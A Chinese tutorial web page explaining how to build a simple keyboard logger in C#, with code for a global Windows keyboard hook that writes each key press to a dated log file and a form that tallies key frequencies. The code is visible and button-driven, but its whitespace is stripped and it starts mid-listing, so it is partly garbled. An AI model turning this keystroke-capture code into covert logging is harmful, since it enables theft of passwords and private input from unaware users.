基于C#如何实现简易的键盘记录器
导读:本文共1674字符,通常情况下阅读需要6分钟。同时您也可以点击右侧朗读,来听本文内容。按键盘←(左) →(右) 方向键可以翻页。
摘要:");}///<summary>///监听事件///</summary>privateintKeyboardHookProc(intnCode,Int32wParam,IntPtrlParam){if((nCode>=0)&&(KeyDownEvent!=null||KeyUpEvent!=null||KeyPressEvent... ...
目录
(为您整理了一些要点),点击可以直达。");
}
///<summary>
///监听事件
///</summary>
privateintKeyboardHookProc(intnCode,Int32wParam,IntPtrlParam)
{
if((nCode>=0)&&(KeyDownEvent!=null||KeyUpEvent!=null||KeyPressEvent!=null))
{
KeyboardHookStructMyKeyboardHookStruct=(KeyboardHookStruct)Marshal.PtrToStructure(lParam,typeof(KeyboardHookStruct));
//按下处理
if(KeyDownEvent!=null&&(wParam==WM_KEYDOWN||wParam==WM_SYSKEYDOWN))
{
KeyskeyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgse=newKeyEventArgs(keyData);
KeyDownEvent(this,e);
//阻止向下传递
if(NoNextKeyCode==keyData)
{
returnhookID;
}
}
//按下并抬起处理
if(KeyPressEvent!=null&&wParam==WM_KEYDOWN)
{
byte[]keyState=newbyte[256];
GetKeyboardState(keyState);
byte[]inBuffer=newbyte[2];
if(ToAscii(MyKeyboardHookStruct.vkCode,MyKeyboardHookStruct.scanCode,keyState,inBuffer,MyKeyboardHookStruct.flags)==1)
{
KeyPressEventArgse=newKeyPressEventArgs((char)inBuffer[0]);
KeyPressEvent(this,e);
}
}
//抬起处理
if(KeyUpEvent!=null&&(wParam==WM_KEYUP||wParam==WM_SYSKEYUP))
{
KeyskeyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgse=newKeyEventArgs(keyData);
KeyUpEvent(this,e);
}
}
returnCallNextHookEx(hookID,nCode,wParam,lParam);
}
~HookUtil()
{
StopHook();
}
}
HookUtilkeyHook=newHookUtil();
privatevoidbtnBegin_Click(objectsender,EventArgse)
{
keyHook.KeyDownEvent+=newKeyEventHandler(hook_KeyDown);//钩住按下事件
keyHook.StartHook();
btnBegin.Enabled=false;
btnEnd.Enabled=true;
}privatevoidbtnEnd_Click(objectsender,EventArgse)
{
keyHook.StopHook();
btnBegin.Enabled=true;
btnEnd.Enabled=false;
}privatevoidbtnInfo_Click(objectsender,EventArgse)
{
stringpath=System.AppDomain.CurrentDomain.BaseDirectory+"log\"+DateTime.Now.ToString("yyyy-MM-dd")+".txt";
if(!File.Exists(path))
{
MessageBox.Show("还未监听到数据,请操作后再查看");
return;
}
varlist=File.ReadAllLines(path).ToList().GroupBy(s=>s).Select(s=>new{s.Key,s.ToList().Count}).OrderByDescending(s=>s.Count);
FrmInfofrm=newFrmInfo();
frm.Show();
foreach(variteminlist)
{
frm.addItems(newstring[]{"",item.Key,item.Count+""});
}}
privatevoidhook_KeyDown(objectsender,KeyEventArgse)
{
if(!listKey.Contains(e.KeyData))
{
if(Control.ModifierKeys!=Keys.None)
{
WriteLog(Control.ModifierKeys+"+"+e.KeyData);
}
else
{
WriteLog(e.KeyData+"");
}
}
else
{
WriteLog(e.KeyData+"");
}}
实现效果
这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!基于C#如何实现简易的键盘记录器的详细内容,希望对您有所帮助,信息来源于网络。